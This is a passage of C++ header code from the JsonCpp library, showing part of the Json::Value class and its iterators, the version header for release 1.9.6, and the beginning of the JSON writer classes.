#if !defined(JSONCPP_TEMPLATE_DELETE)
#if defined(__clang__) && defined(__apple_build_version__)
#if __apple_build_version__ <= 8000042
#define JSONCPP_TEMPLATE_DELETE
#endif
#elif defined(__clang__)
#if __clang_major__ == 3 && __clang_minor__ <= 8
#define JSONCPP_TEMPLATE_DELETE
#endif
#endif
#if !defined(JSONCPP_TEMPLATE_DELETE)
#define JSONCPP_TEMPLATE_DELETE = delete
#endif
#endif
#include <array>
#include <exception>
#include <map>
#include <memory>
#include <string>
#include <vector>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(push)
#pragma warning(disable : 4251 4275)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
/** \brief JSON (JavaScript Object Notation).
*/
namespace Json {
#if JSON_USE_EXCEPTION
/** Base class for all exceptions we throw.
*
* We use nothing but these internally. Of course, STL can throw others.
*/
class JSON_API Exception : public std::exception {
public:
Exception(String msg);
~Exception() noexcept override;
char const* what() const noexcept override;
protected:
String msg_;
};
/** Exceptions which the user cannot easily avoid.
*
* E.g. out-of-memory (when we use malloc), stack-overflow, malicious input
*
* \remark derived from Json::Exception
*/
class JSON_API RuntimeError : public Exception {
public:
RuntimeError(String const& msg);
};
/** Exceptions thrown by JSON_ASSERT/JSON_FAIL macros.
*
* These are precondition-violations (user bugs) and internal errors (our bugs).
*
* \remark derived from Json::Exception
*/
class JSON_API LogicError : public Exception {
public:
LogicError(String const& msg);
};
#endif
/// used internally
JSONCPP_NORETURN void throwRuntimeError(String const& msg);
/// used internally
JSONCPP_NORETURN void throwLogicError(String const& msg);
/** \brief Type of the value held by a Value object.
*/
enum ValueType {
nullValue = 0, ///< 'null' value
intValue, ///< signed integer value
uintValue, ///< unsigned integer value
realValue, ///< double value
stringValue, ///< UTF-8 string value
booleanValue, ///< bool value
arrayValue, ///< array value (ordered list)
objectValue ///< object value (collection of name/value pairs).
};
enum CommentPlacement {
commentBefore = 0, ///< a comment placed on the line before a value
commentAfterOnSameLine, ///< a comment just after a value on the same line
commentAfter, ///< a comment on the line after a value (only make sense for
/// root value)
numberOfCommentPlacement
};
/** \brief Type of precision for formatting of real values.
*/
enum PrecisionType {
significantDigits = 0, ///< we set max number of significant digits in string
decimalPlaces ///< we set max number of digits after "." in string
};
/** \brief Lightweight wrapper to tag static string.
*
* Value constructor and objectValue member assignment takes advantage of the
* StaticString and avoid the cost of string duplication when storing the
* string or the member name.
*
* Example of usage:
* \code
* Json::Value aValue( StaticString("some text") );
* Json::Value object;
* static const StaticString code("code");
* object[code] = 1234;
* \endcode
*/
class JSON_API StaticString {
public:
explicit StaticString(const char* czstring) : c_str_(czstring) {}
operator const char*() const { return c_str_; }
const char* c_str() const { return c_str_; }
private:
const char* c_str_;
};
/** \brief Represents a <a HREF="http://www.json.org">JSON</a> value.
*
* This class is a discriminated union wrapper that can represents a:
* - signed integer [range: Value::minInt - Value::maxInt]
* - unsigned integer (range: 0 - Value::maxUInt)
* - double
* - UTF-8 string
* - boolean
* - 'null'
* - an ordered list of Value
* - collection of name/value pairs (javascript object)
*
* The type of the held value is represented by a #ValueType and
* can be obtained using type().
*
* Values of an #objectValue or #arrayValue can be accessed using operator[]()
* methods.
* Non-const methods will automatically create the a #nullValue element
* if it does not exist.
* The sequence of an #arrayValue will be automatically resized and initialized
* with #nullValue. resize() can be used to enlarge or truncate an #arrayValue.
*
* The get() methods can be used to obtain default value in the case the
* required element does not exist.
*
* It is possible to iterate over the list of member keys of an object using
* the getMemberNames() method.
*
* \note #Value string-length fit in size_t, but keys must be < 2^30.
* (The reason is an implementation detail.) A #CharReader will raise an
* exception if a bound is exceeded to avoid security holes in your app,
* but the Value API does *not* check bounds. That is the responsibility
* of the caller.
*/
class JSON_API Value {
friend class ValueIteratorBase;
public:
using Members = std::vector<String>;
using iterator = ValueIterator;
using const_iterator = ValueConstIterator;
using UInt = Json::UInt;
using Int = Json::Int;
#if defined(JSON_HAS_INT64)
using UInt64 = Json::UInt64;
using Int64 = Json::Int64;
#endif // defined(JSON_HAS_INT64)
using LargestInt = Json::LargestInt;
using LargestUInt = Json::LargestUInt;
using ArrayIndex = Json::ArrayIndex;
// Required for boost integration, e. g. BOOST_TEST
using value_type = std::string;
#if JSON_USE_NULLREF
// Binary compatibility kludges, do not use.
static const Value& null;
static const Value& nullRef;
#endif
// null and nullRef are deprecated, use this instead.
static Value const& nullSingleton();
/// Minimum signed integer value that can be stored in a Json::Value.
static constexpr LargestInt minLargestInt =
LargestInt(~(LargestUInt(-1) / 2));
/// Maximum signed integer value that can be stored in a Json::Value.
static constexpr LargestInt maxLargestInt = LargestInt(LargestUInt(-1) / 2);
/// Maximum unsigned integer value that can be stored in a Json::Value.
static constexpr LargestUInt maxLargestUInt = LargestUInt(-1);
/// Minimum signed int value that can be stored in a Json::Value.
static constexpr Int minInt = Int(~(UInt(-1) / 2));
/// Maximum signed int value that can be stored in a Json::Value.
static constexpr Int maxInt = Int(UInt(-1) / 2);
/// Maximum unsigned int value that can be stored in a Json::Value.
static constexpr UInt maxUInt = UInt(-1);
#if defined(JSON_HAS_INT64)
/// Minimum signed 64 bits int value that can be stored in a Json::Value.
static constexpr Int64 minInt64 = Int64(~(UInt64(-1) / 2));
/// Maximum signed 64 bits int value that can be stored in a Json::Value.
static constexpr Int64 maxInt64 = Int64(UInt64(-1) / 2);
/// Maximum unsigned 64 bits int value that can be stored in a Json::Value.
static constexpr UInt64 maxUInt64 = UInt64(-1);
#endif // defined(JSON_HAS_INT64)
/// Default precision for real value for string representation.
static constexpr UInt defaultRealPrecision = 17;
// The constant is hard-coded because some compiler have trouble
// converting Value::maxUInt64 to a double correctly (AIX/xlC).
// Assumes that UInt64 is a 64 bits integer.
static constexpr double maxUInt64AsDouble = 18446744073709551615.0;
// Workaround for bug in the NVIDIAs CUDA 9.1 nvcc compiler
// when using gcc and clang backend compilers. CZString
// cannot be defined as private. See issue #486
#ifdef __NVCC__
public:
#else
private:
#endif
#ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION
class CZString {
public:
enum DuplicationPolicy { noDuplication = 0, duplicate, duplicateOnCopy };
CZString(ArrayIndex index);
CZString(char const* str, unsigned length, DuplicationPolicy allocate);
CZString(CZString const& other);
CZString(CZString&& other) noexcept;
~CZString();
CZString& operator=(const CZString& other);
CZString& operator=(CZString&& other) noexcept;
bool operator<(CZString const& other) const;
bool operator==(CZString const& other) const;
ArrayIndex index() const;
// const char* c_str() const; ///< \deprecated
char const* data() const;
unsigned length() const;
bool isStaticString() const;
private:
void swap(CZString& other);
struct StringStorage {
unsigned policy_ : 2;
unsigned length_ : 30; // 1GB max
};
char const* cstr_; // actually, a prefixed string, unless policy is noDup
union {
ArrayIndex index_;
StringStorage storage_;
};
};
public:
typedef std::map<CZString, Value> ObjectValues;
#endif // ifndef JSONCPP_DOC_EXCLUDE_IMPLEMENTATION
public:
/**
* \brief Create a default Value of the given type.
*
* This is a very useful constructor.
* To create an empty array, pass arrayValue.
* To create an empty object, pass objectValue.
* Another Value can then be set to this one by assignment.
* This is useful since clear() and resize() will not alter types.
*
* Examples:
* \code
* Json::Value null_value; // null
* Json::Value arr_value(Json::arrayValue); // []
* Json::Value obj_value(Json::objectValue); // {}
* \endcode
*/
Value(ValueType type = nullValue);
Value(Int value);
Value(UInt value);
#if defined(JSON_HAS_INT64)
Value(Int64 value);
Value(UInt64 value);
#endif // if defined(JSON_HAS_INT64)
Value(double value);
Value(const char* value); ///< Copy til first 0. (NULL causes to seg-fault.)
Value(const char* begin, const char* end); ///< Copy all, incl zeroes.
/**
* \brief Constructs a value from a static string.
*
* Like other value string constructor but do not duplicate the string for
* internal storage. The given string must remain alive after the call to
* this constructor.
*
* \note This works only for null-terminated strings. (We cannot change the
* size of this class, so we have nowhere to store the length, which might be
* computed later for various operations.)
*
* Example of usage:
* \code
* static StaticString foo("some text");
* Json::Value aValue(foo);
* \endcode
*/
Value(const StaticString& value);
Value(const String& value);
Value(bool value);
Value(std::nullptr_t ptr) = delete;
Value(const Value& other);
Value(Value&& other) noexcept;
~Value();
/// \note Overwrite existing comments. To preserve comments, use
/// #swapPayload().
Value& operator=(const Value& other);
Value& operator=(Value&& other) noexcept;
/// Swap everything.
void swap(Value& other);
/// Swap values but leave comments and source offsets in place.
void swapPayload(Value& other);
/// copy everything.
void copy(const Value& other);
/// copy values but leave comments and source offsets in place.
void copyPayload(const Value& other);
ValueType type() const;
/// Compare payload only, not comments etc.
bool operator<(const Value& other) const;
bool operator<=(const Value& other) const;
bool operator>=(const Value& other) const;
bool operator>(const Value& other) const;
bool operator==(const Value& other) const;
bool operator!=(const Value& other) const;
int compare(const Value& other) const;
const char* asCString() const; ///< Embedded zeroes could cause you trouble!
#if JSONCPP_USING_SECURE_MEMORY
unsigned getCStringLength() const; // Allows you to understand the length of
// the CString
#endif
String asString() const; ///< Embedded zeroes are possible.
/** Get raw char* of string-value.
* \return false if !string. (Seg-fault if str or end are NULL.)
*/
bool getString(char const** begin, char const** end) const;
Int asInt() const;
UInt asUInt() const;
#if defined(JSON_HAS_INT64)
Int64 asInt64() const;
UInt64 asUInt64() const;
#endif // if defined(JSON_HAS_INT64)
LargestInt asLargestInt() const;
LargestUInt asLargestUInt() const;
float asFloat() const;
double asDouble() const;
bool asBool() const;
bool isNull() const;
bool isBool() const;
bool isInt() const;
bool isInt64() const;
bool isUInt() const;
bool isUInt64() const;
bool isIntegral() const;
bool isDouble() const;
bool isNumeric() const;
bool isString() const;
bool isArray() const;
bool isObject() const;
/// The `as<T>` and `is<T>` member function templates and specializations.
template <typename T> T as() const JSONCPP_TEMPLATE_DELETE;
template <typename T> bool is() const JSONCPP_TEMPLATE_DELETE;
bool isConvertibleTo(ValueType other) const;
/// Number of values in array or object
ArrayIndex size() const;
/// \brief Return true if empty array, empty object, or null;
/// otherwise, false.
bool empty() const;
/// Return !isNull()
explicit operator bool() const;
/// Remove all object members and array elements.
/// \pre type() is arrayValue, objectValue, or nullValue
/// \post type() is unchanged
void clear();
/// Resize the array to newSize elements.
/// New elements are initialized to null.
/// May only be called on nullValue or arrayValue.
/// \pre type() is arrayValue or nullValue
/// \post type() is arrayValue
void resize(ArrayIndex newSize);
///@{
/// Access an array element (zero based index). If the array contains less
/// than index element, then null value are inserted in the array so that
/// its size is index+1.
/// (You may need to say 'value[0u]' to get your compiler to distinguish
/// this from the operator[] which takes a string.)
Value& operator[](ArrayIndex index);
Value& operator[](int index);
///@}
///@{
/// Access an array element (zero based index).
/// (You may need to say 'value[0u]' to get your compiler to distinguish
/// this from the operator[] which takes a string.)
const Value& operator[](ArrayIndex index) const;
const Value& operator[](int index) const;
///@}
/// If the array contains at least index+1 elements, returns the element
/// value, otherwise returns defaultValue.
Value get(ArrayIndex index, const Value& defaultValue) const;
/// Return true if index < size().
bool isValidIndex(ArrayIndex index) const;
/// \brief Append value to array at the end.
///
/// Equivalent to jsonvalue[jsonvalue.size()] = value;
Value& append(const Value& value);
Value& append(Value&& value);
/// \brief Insert value in array at specific index
bool insert(ArrayIndex index, const Value& newValue);
bool insert(ArrayIndex index, Value&& newValue);
/// Access an object value by name, create a null member if it does not exist.
/// \note Because of our implementation, keys are limited to 2^30 -1 chars.
/// Exceeding that will cause an exception.
Value& operator[](const char* key);
/// Access an object value by name, returns null if there is no member with
/// that name.
const Value& operator[](const char* key) const;
/// Access an object value by name, create a null member if it does not exist.
/// \param key may contain embedded nulls.
Value& operator[](const String& key);
/// Access an object value by name, returns null if there is no member with
/// that name.
/// \param key may contain embedded nulls.
const Value& operator[](const String& key) const;
/** \brief Access an object value by name, create a null member if it does not
* exist.
*
* If the object has no entry for that name, then the member name used to
* store the new entry is not duplicated.
* Example of use:
* \code
* Json::Value object;
* static const StaticString code("code");
* object[code] = 1234;
* \endcode
*/
Value& operator[](const StaticString& key);
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
Value get(const char* key, const Value& defaultValue) const;
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
/// \note key may contain embedded nulls.
Value get(const char* begin, const char* end,
const Value& defaultValue) const;
/// Return the member named key if it exist, defaultValue otherwise.
/// \note deep copy
/// \param key may contain embedded nulls.
Value get(const String& key, const Value& defaultValue) const;
/// Most general and efficient version of isMember()const, get()const,
/// and operator[]const
/// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30
Value const* find(char const* begin, char const* end) const;
/// Most general and efficient version of isMember()const, get()const,
/// and operator[]const
Value const* find(const String& key) const;
/// Most general and efficient version of object-mutators.
/// \note As stated elsewhere, behavior is undefined if (end-begin) >= 2^30
/// \return non-zero, but JSON_ASSERT if this is neither object nor nullValue.
Value* demand(char const* begin, char const* end);
/// \brief Remove and return the named member.
///
/// Do nothing if it did not exist.
/// \pre type() is objectValue or nullValue
/// \post type() is unchanged
void removeMember(const char* key);
/// Same as removeMember(const char*)
/// \param key may contain embedded nulls.
void removeMember(const String& key);
/// Same as removeMember(const char* begin, const char* end, Value* removed),
/// but 'key' is null-terminated.
bool removeMember(const char* key, Value* removed);
/** \brief Remove the named map member.
*
* Update 'removed' iff removed.
* \param key may contain embedded nulls.
* \return true iff removed (no exceptions)
*/
bool removeMember(String const& key, Value* removed);
/// Same as removeMember(String const& key, Value* removed)
bool removeMember(const char* begin, const char* end, Value* removed);
/** \brief Remove the indexed array element.
*
* O(n) expensive operations.
* Update 'removed' iff removed.
* \return true if removed (no exceptions)
*/
bool removeIndex(ArrayIndex index, Value* removed);
/// Return true if the object has a member named key.
/// \note 'key' must be null-terminated.
bool isMember(const char* key) const;
/// Return true if the object has a member named key.
/// \param key may contain embedded nulls.
bool isMember(const String& key) const;
/// Same as isMember(String const& key)const
bool isMember(const char* begin, const char* end) const;
/// \brief Return a list of the member names.
///
/// If null, return an empty list.
/// \pre type() is objectValue or nullValue
/// \post if type() was nullValue, it remains nullValue
Members getMemberNames() const;
/// \deprecated Always pass len.
JSONCPP_DEPRECATED("Use setComment(String const&) instead.")
void setComment(const char* comment, CommentPlacement placement) {
setComment(String(comment, strlen(comment)), placement);
}
/// Comments must be //... or /* ... */
void setComment(const char* comment, size_t len, CommentPlacement placement) {
setComment(String(comment, len), placement);
}
/// Comments must be //... or /* ... */
void setComment(String comment, CommentPlacement placement);
bool hasComment(CommentPlacement placement) const;
/// Include delimiters and embedded newlines.
String getComment(CommentPlacement placement) const;
String toStyledString() const;
const_iterator begin() const;
const_iterator end() const;
iterator begin();
iterator end();
/// \brief Returns a reference to the first element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
const Value& front() const;
/// \brief Returns a reference to the first element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
Value& front();
/// \brief Returns a reference to the last element in the `Value`.
/// Requires that value holds an array or json object, with at least one
/// element.
const Value& back() const;
/// \brief Returns a reference to the last element in the `Value`.
/// Requires that this value holds an array or json object, with at least one
/// element.
Value& back();
// Accessors for the [start, limit) range of bytes within the JSON text from
// which this value was parsed, if any.
void setOffsetStart(ptrdiff_t start);
void setOffsetLimit(ptrdiff_t limit);
ptrdiff_t getOffsetStart() const;
ptrdiff_t getOffsetLimit() const;
private:
void setType(ValueType v) {
bits_.value_type_ = static_cast<unsigned char>(v);
}
bool isAllocated() const { return bits_.allocated_; }
void setIsAllocated(bool v) { bits_.allocated_ = v; }
void initBasic(ValueType type, bool allocated = false);
void dupPayload(const Value& other);
void releasePayload();
void dupMeta(const Value& other);
Value& resolveReference(const char* key);
Value& resolveReference(const char* key, const char* end);
// struct MemberNamesTransform
//{
// typedef const char *result_type;
// const char *operator()( const CZString &name ) const
// {
// return name.c_str();
// }
//};
union ValueHolder {
LargestInt int_;
LargestUInt uint_;
double real_;
bool bool_;
char* string_; // if allocated_, ptr to { unsigned, char[] }.
ObjectValues* map_;
} value_;
struct {
// Really a ValueType, but types should agree for bitfield packing.
unsigned int value_type_ : 8;
// Unless allocated_, string_ must be null-terminated.
unsigned int allocated_ : 1;
} bits_;
class Comments {
public:
Comments() = default;
Comments(const Comments& that);
Comments(Comments&& that) noexcept;
Comments& operator=(const Comments& that);
Comments& operator=(Comments&& that) noexcept;
bool has(CommentPlacement slot) const;
String get(CommentPlacement slot) const;
void set(CommentPlacement slot, String comment);
private:
using Array = std::array<String, numberOfCommentPlacement>;
std::unique_ptr<Array> ptr_;
};
Comments comments_;
// [start, limit) byte offsets in the source JSON text from which this Value
// was extracted.
ptrdiff_t start_;
ptrdiff_t limit_;
};
template <> inline bool Value::as<bool>() const { return asBool(); }
template <> inline bool Value::is<bool>() const { return isBool(); }
template <> inline Int Value::as<Int>() const { return asInt(); }
template <> inline bool Value::is<Int>() const { return isInt(); }
template <> inline UInt Value::as<UInt>() const { return asUInt(); }
template <> inline bool Value::is<UInt>() const { return isUInt(); }
#if defined(JSON_HAS_INT64)
template <> inline Int64 Value::as<Int64>() const { return asInt64(); }
template <> inline bool Value::is<Int64>() const { return isInt64(); }
template <> inline UInt64 Value::as<UInt64>() const { return asUInt64(); }
template <> inline bool Value::is<UInt64>() const { return isUInt64(); }
#endif
template <> inline double Value::as<double>() const { return asDouble(); }
template <> inline bool Value::is<double>() const { return isDouble(); }
template <> inline String Value::as<String>() const { return asString(); }
template <> inline bool Value::is<String>() const { return isString(); }
/// These `as` specializations are type conversions, and do not have a
/// corresponding `is`.
template <> inline float Value::as<float>() const { return asFloat(); }
template <> inline const char* Value::as<const char*>() const {
return asCString();
}
/** \brief Experimental and untested: represents an element of the "path" to
* access a node.
*/
class JSON_API PathArgument {
public:
friend class Path;
PathArgument();
PathArgument(ArrayIndex index);
PathArgument(const char* key);
PathArgument(String key);
private:
enum Kind { kindNone = 0, kindIndex, kindKey };
String key_;
ArrayIndex index_{};
Kind kind_{kindNone};
};
/** \brief Experimental and untested: represents a "path" to access a node.
*
* Syntax:
* - "." => root node
* - ".[n]" => elements at index 'n' of root node (an array value)
* - ".name" => member named 'name' of root node (an object value)
* - ".name1.name2.name3"
* - ".[0][1][2].name1[3]"
* - ".%" => member name is provided as parameter
* - ".[%]" => index is provided as parameter
*/
class JSON_API Path {
public:
Path(const String& path, const PathArgument& a1 = PathArgument(),
const PathArgument& a2 = PathArgument(),
const PathArgument& a3 = PathArgument(),
const PathArgument& a4 = PathArgument(),
const PathArgument& a5 = PathArgument());
const Value& resolve(const Value& root) const;
Value resolve(const Value& root, const Value& defaultValue) const;
/// Creates the "path" to access the specified node and returns a reference on
/// the node.
Value& make(Value& root) const;
private:
using InArgs = std::vector<const PathArgument*>;
using Args = std::vector<PathArgument>;
void makePath(const String& path, const InArgs& in);
void addPathInArg(const String& path, const InArgs& in,
InArgs::const_iterator& itInArg, PathArgument::Kind kind);
static void invalidPath(const String& path, int location);
Args args_;
};
/** \brief base class for Value iterators.
*
*/
class JSON_API ValueIteratorBase {
public:
using iterator_category = std::bidirectional_iterator_tag;
using size_t = unsigned int;
using difference_type = int;
using SelfType = ValueIteratorBase;
bool operator==(const SelfType& other) const { return isEqual(other); }
bool operator!=(const SelfType& other) const { return !isEqual(other); }
difference_type operator-(const SelfType& other) const {
return other.computeDistance(*this);
}
/// Return either the index or the member name of the referenced value as a
/// Value.
Value key() const;
/// Return the index of the referenced Value, or -1 if it is not an
/// arrayValue.
UInt index() const;
/// Return the member name of the referenced Value, or "" if it is not an
/// objectValue.
/// \note Avoid `c_str()` on result, as embedded zeroes are possible.
String name() const;
/// Return the member name of the referenced Value. "" if it is not an
/// objectValue.
/// \deprecated This cannot be used for UTF-8 strings, since there can be
/// embedded nulls.
JSONCPP_DEPRECATED("Use `key = name();` instead.")
char const* memberName() const;
/// Return the member name of the referenced Value, or NULL if it is not an
/// objectValue.
/// \note Better version than memberName(). Allows embedded nulls.
char const* memberName(char const** end) const;
protected:
/*! Internal utility functions to assist with implementing
* other iterator functions. The const and non-const versions
* of the "deref" protected methods expose the protected
* current_ member variable in a way that can often be
* optimized away by the compiler.
*/
const Value& deref() const;
Value& deref();
void increment();
void decrement();
difference_type computeDistance(const SelfType& other) const;
bool isEqual(const SelfType& other) const;
void copy(const SelfType& other);
private:
Value::ObjectValues::iterator current_;
// Indicates that iterator is for a null value.
bool isNull_{true};
public:
// For some reason, BORLAND needs these at the end, rather
// than earlier. No idea why.
ValueIteratorBase();
explicit ValueIteratorBase(const Value::ObjectValues::iterator& current);
};
/** \brief const iterator for object and array value.
*
*/
class JSON_API ValueConstIterator : public ValueIteratorBase {
friend class Value;
public:
using value_type = const Value;
// typedef unsigned int size_t;
// typedef int difference_type;
using reference = const Value&;
using pointer = const Value*;
using SelfType = ValueConstIterator;
ValueConstIterator();
ValueConstIterator(ValueIterator const& other);
private:
/*! \internal Use by Value to create an iterator.
*/
explicit ValueConstIterator(const Value::ObjectValues::iterator& current);
public:
SelfType& operator=(const ValueIteratorBase& other);
SelfType operator++(int) {
SelfType temp(*this);
++*this;
return temp;
}
SelfType operator--(int) {
SelfType temp(*this);
--*this;
return temp;
}
SelfType& operator--() {
decrement();
return *this;
}
SelfType& operator++() {
increment();
return *this;
}
reference operator*() const { return deref(); }
pointer operator->() const { return &deref(); }
};
/** \brief Iterator for object and array value.
*/
class JSON_API ValueIterator : public ValueIteratorBase {
friend class Value;
public:
using value_type = Value;
using size_t = unsigned int;
using difference_type = int;
using reference = Value&;
using pointer = Value*;
using SelfType = ValueIterator;
ValueIterator();
explicit ValueIterator(const ValueConstIterator& other);
ValueIterator(const ValueIterator& other);
private:
/*! \internal Use by Value to create an iterator.
*/
explicit ValueIterator(const Value::ObjectValues::iterator& current);
public:
SelfType& operator=(const SelfType& other);
SelfType operator++(int) {
SelfType temp(*this);
++*this;
return temp;
}
SelfType operator--(int) {
SelfType temp(*this);
--*this;
return temp;
}
SelfType& operator--() {
decrement();
return *this;
}
SelfType& operator++() {
increment();
return *this;
}
/*! The return value of non-const iterators can be
* changed, so the these functions are not const
* because the returned references/pointers can be used
* to change state of the base class.
*/
reference operator*() const { return const_cast<reference>(deref()); }
pointer operator->() const { return const_cast<pointer>(&deref()); }
};
inline void swap(Value& a, Value& b) { a.swap(b); }
inline const Value& Value::front() const { return *begin(); }
inline Value& Value::front() { return *begin(); }
inline const Value& Value::back() const { return *(--end()); }
inline Value& Value::back() { return *(--end()); }
} // namespace Json
#pragma pack(pop)
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma warning(pop)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#endif // JSON_H_INCLUDED

View File

@@ -0,0 +1,27 @@
#ifndef JSON_VERSION_H_INCLUDED
#define JSON_VERSION_H_INCLUDED
// Note: version must be updated in three places when doing a release. This
// annoying process ensures that amalgamate, CMake, and meson all report the
// correct version.
// 1. /meson.build
// 2. /include/json/version.h
// 3. /CMakeLists.txt
// IMPORTANT: also update the SOVERSION!!
#define JSONCPP_VERSION_STRING "1.9.6"
#define JSONCPP_VERSION_MAJOR 1
#define JSONCPP_VERSION_MINOR 9
#define JSONCPP_VERSION_PATCH 6
#define JSONCPP_VERSION_QUALIFIER
#define JSONCPP_VERSION_HEXA \
((JSONCPP_VERSION_MAJOR << 24) | (JSONCPP_VERSION_MINOR << 16) | \
(JSONCPP_VERSION_PATCH << 8))
#if !defined(JSONCPP_USE_SECURE_MEMORY)
#define JSONCPP_USING_SECURE_MEMORY 0
#endif
// If non-zero, the library zeroes any memory that it has allocated before
// it frees its memory.
#endif // JSON_VERSION_H_INCLUDED

View File

@@ -0,0 +1,368 @@
// Copyright 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
// Distributed under MIT license, or public domain if desired and
// recognized in your jurisdiction.
// See file LICENSE for detail or copy at http://jsoncpp.sourceforge.net/LICENSE
#ifndef JSON_WRITER_H_INCLUDED
#define JSON_WRITER_H_INCLUDED
#if !defined(JSON_IS_AMALGAMATION)
#include "value.h"
#endif // if !defined(JSON_IS_AMALGAMATION)
#include <ostream>
#include <string>
#include <vector>
// Disable warning C4251: <data member>: <type> needs to have dll-interface to
// be used by...
#if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING) && defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4251)
#endif // if defined(JSONCPP_DISABLE_DLL_INTERFACE_WARNING)
#pragma pack(push)
#pragma pack()
namespace Json {
class Value;
/**
*
* Usage:
* \code
* using namespace Json;
* void writeToStdout(StreamWriter::Factory const& factory, Value const& value)
* { std::unique_ptr<StreamWriter> const writer( factory.newStreamWriter());
* writer->write(value, &std::cout);
* std::cout << std::endl; // add lf and flush
* }
* \endcode
*/
class JSON_API StreamWriter {
protected:
OStream* sout_; // not owned; will not delete
public:
StreamWriter();
virtual ~StreamWriter();
/** Write Value into document as configured in sub-class.
* Do not take ownership of sout, but maintain a reference during function.
* \pre sout != NULL
* \return zero on success (For now, we always return zero, so check the
* stream instead.) \throw std::exception possibly, depending on
* configuration
*/
virtual int write(Value const& root, OStream* sout) = 0;
/** \brief A simple abstract factory.
*/
class JSON_API Factory {
public:
virtual ~Factory();
/** \brief Allocate a CharReader via operator new().
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
virtual StreamWriter* newStreamWriter() const = 0;
}; // Factory
}; // StreamWriter
/** \brief Write into stringstream, then return string, for convenience.
* A StreamWriter will be created from the factory, used, and then deleted.
*/
String JSON_API writeString(StreamWriter::Factory const& factory,
Value const& root);
/** \brief Build a StreamWriter implementation.
* Usage:
* \code
* using namespace Json;
* Value value = ...;
* StreamWriterBuilder builder;
* builder["commentStyle"] = "None";
* builder["indentation"] = " "; // or whatever you like
* std::unique_ptr<Json::StreamWriter> writer(
* builder.newStreamWriter());
* writer->write(value, &std::cout);
* std::cout << std::endl; // add lf and flush
* \endcode
*/
class JSON_API StreamWriterBuilder : public StreamWriter::Factory {
public:
// Note: We use a Json::Value so that we can add data-members to this class
// without a major version bump.
/** Configuration of this builder.
* Available settings (case-sensitive):
* - "commentStyle": "None" or "All"
* - "indentation": "<anything>".
* - Setting this to an empty string also omits newline characters.
* - "enableYAMLCompatibility": false or true
* - slightly change the whitespace around colons
* - "dropNullPlaceholders": false or true
* - Drop the "null" string from the writer's output for nullValues.
* Strictly speaking, this is not valid JSON. But when the output is being
* fed to a browser's JavaScript, it makes for smaller output and the
* browser can handle the output just fine.
* - "useSpecialFloats": false or true
* - If true, outputs non-finite floating point values in the following way:
* NaN values as "NaN", positive infinity as "Infinity", and negative
* infinity as "-Infinity".
* - "precision": int
* - Number of precision digits for formatting of real values.
* - "precisionType": "significant"(default) or "decimal"
* - Type of precision for formatting of real values.
* - "emitUTF8": false or true
* - If true, outputs raw UTF8 strings instead of escaping them.
* You can examine 'settings_` yourself
* to see the defaults. You can also write and read them just like any
* JSON Value.
* \sa setDefaults()
*/
Json::Value settings_;
StreamWriterBuilder();
~StreamWriterBuilder() override;
/**
* \throw std::exception if something goes wrong (e.g. invalid settings)
*/
StreamWriter* newStreamWriter() const override;
/** \return true if 'settings' are legal and consistent;
* otherwise, indicate bad settings via 'invalid'.
*/
bool validate(Json::Value* invalid) const;
/** A simple way to update a specific setting.
*/
Value& operator[](const String& key);
/** Called by ctor, but you can use this to reset settings_.
* \pre 'settings' != NULL (but Json::null is fine)
* \remark Defaults:
* \snippet src/lib_json/json_writer.cpp StreamWriterBuilderDefaults
*/
static void setDefaults(Json::Value* settings);
};
/** \brief Abstract class for writers.
* \deprecated Use StreamWriter. (And really, this is an implementation detail.)
*/
class JSON_API Writer {
public:
virtual ~Writer();
virtual String write(const Value& root) = 0;
};
/** \brief Outputs a Value in <a HREF="http://www.json.org">JSON</a> format
*without formatting (not human friendly).
*
* The JSON document is written in a single line. It is not intended for 'human'
*consumption,
* but may be useful to support feature such as RPC where bandwidth is limited.
* \sa Reader, Value
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API FastWriter : public Writer {
public:
FastWriter();
~FastWriter() override = default;
void enableYAMLCompatibility();
/** \brief Drop the "null" string from the writer's output for nullValues.
* Strictly speaking, this is not valid JSON. But when the output is being
* fed to a browser's JavaScript, it makes for smaller output and the
* browser can handle the output just fine.
*/
void dropNullPlaceholders();
void omitEndingLineFeed();
public: // overridden from Writer
String write(const Value& root) override;
private:
void writeValue(const Value& value);
String document_;
bool yamlCompatibilityEnabled_{false};
bool dropNullPlaceholders_{false};
bool omitEndingLineFeed_{false};
};
#if defined(_MSC_VER)
#pragma warning(pop)
#endif
/** \brief Writes a Value in <a HREF="http://www.json.org">JSON</a> format in a
*human friendly way.
*
* The rules for line break and indent are as follow:
* - Object value:
* - if empty then print {} without indent and line break
* - if not empty the print '{', line break & indent, print one value per
*line
* and then unindent and line break and print '}'.
* - Array value:
* - if empty then print [] without indent and line break
* - if the array contains no object value, empty array or some other value
*types,
* and all the values fit on one lines, then print the array on a single
*line.
* - otherwise, it the values do not fit on one line, or the array contains
* object or non empty array, then print one value per line.
*
* If the Value have comments then they are outputted according to their
*#CommentPlacement.
*
* \sa Reader, Value, Value::setComment()
* \deprecated Use StreamWriterBuilder.
*/
#if defined(_MSC_VER)
#pragma warning(push)
#pragma warning(disable : 4996) // Deriving from deprecated class
#endif
class JSON_API StyledWriter : public Writer {
public:
StyledWriter();
~StyledWriter() override = default;
public: // overridden from Writer
/** \brief Serialize a Value in <a HREF="http://www.json.org">JSON</a> format.
* \param root Value to serialize.
* \return String containing the JSON document that represents the root value.
*/
String write(const Value& root) override;
private:
void writeValue(const Value& value);
void writeArrayValue(const Value& value);
bool isMultilineArray(const Value& value);
void pushValue(const String& value);
